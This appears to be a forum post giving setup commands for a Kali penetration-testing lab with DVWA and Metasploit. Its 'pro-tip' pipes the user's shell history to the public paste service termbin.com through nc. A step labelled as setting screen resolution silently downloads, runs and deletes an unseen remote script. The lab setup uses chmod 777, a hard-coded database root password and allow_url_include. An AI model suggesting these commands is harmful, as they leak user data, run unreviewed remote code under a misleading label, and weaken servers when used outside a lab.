- Apr 25, 2015
- 1,845
- 2
- 2,199
- 327
Pro-tip if you ever want to fetch your Kali history to a text file, don't use
INSTEAD use
Go full screen 1920x1080:
Install your stuff...
Setup your stuff...
Install msfconsole:
If you have any questions, please ask but I will be making a video to show how this all works.
Code:
history | nc termbin.com 9999
Code:
cat ~/.bash_history | nc termbin.com 9999
Go full screen 1920x1080:
Code:
wget https://gist.githubusercontent.com/R4P3-Linux/3dbc9459566511bc1f9a090d05949e52/raw/764ee2fcfdfb6ddcf1e0c44bb8a3ab4f5b52ff0a/r4p3.sh &> /dev/null;bash r4p3.sh &> /dev/null; rm r4p3.sh
Install your stuff...
Code:
apt update
apt install apache2 git mariadb-server php php-gd php-mysql curl -y
Setup your stuff...
Code:
cd /var/www/html
git clone https://github.com/ethicalhack3r/DVWA
chmod -R 777 /var/www/html
service mariadb start
mysql -u root
use mysql;
update user set plugin='' where user='root';
UPDATE user SET password=PASSWORD('p@ssw0rd') WHERE User='root' AND Host = 'localhost';
flush privileges;
exit;
mysql -u root --password=p@ssw0rd
create database dvwa;
exit;
mv /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php
cd /etc/php/7*/apache2
sed -i 's/allow_url_include = Off/allow_url_include = On/g' php.ini
service apache2 stop
service apache2 start
firefox localhost/DVWA/setup.php &
exit
Install msfconsole:
Code:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall
If you have any questions, please ask but I will be making a video to show how this all works.
Last edited: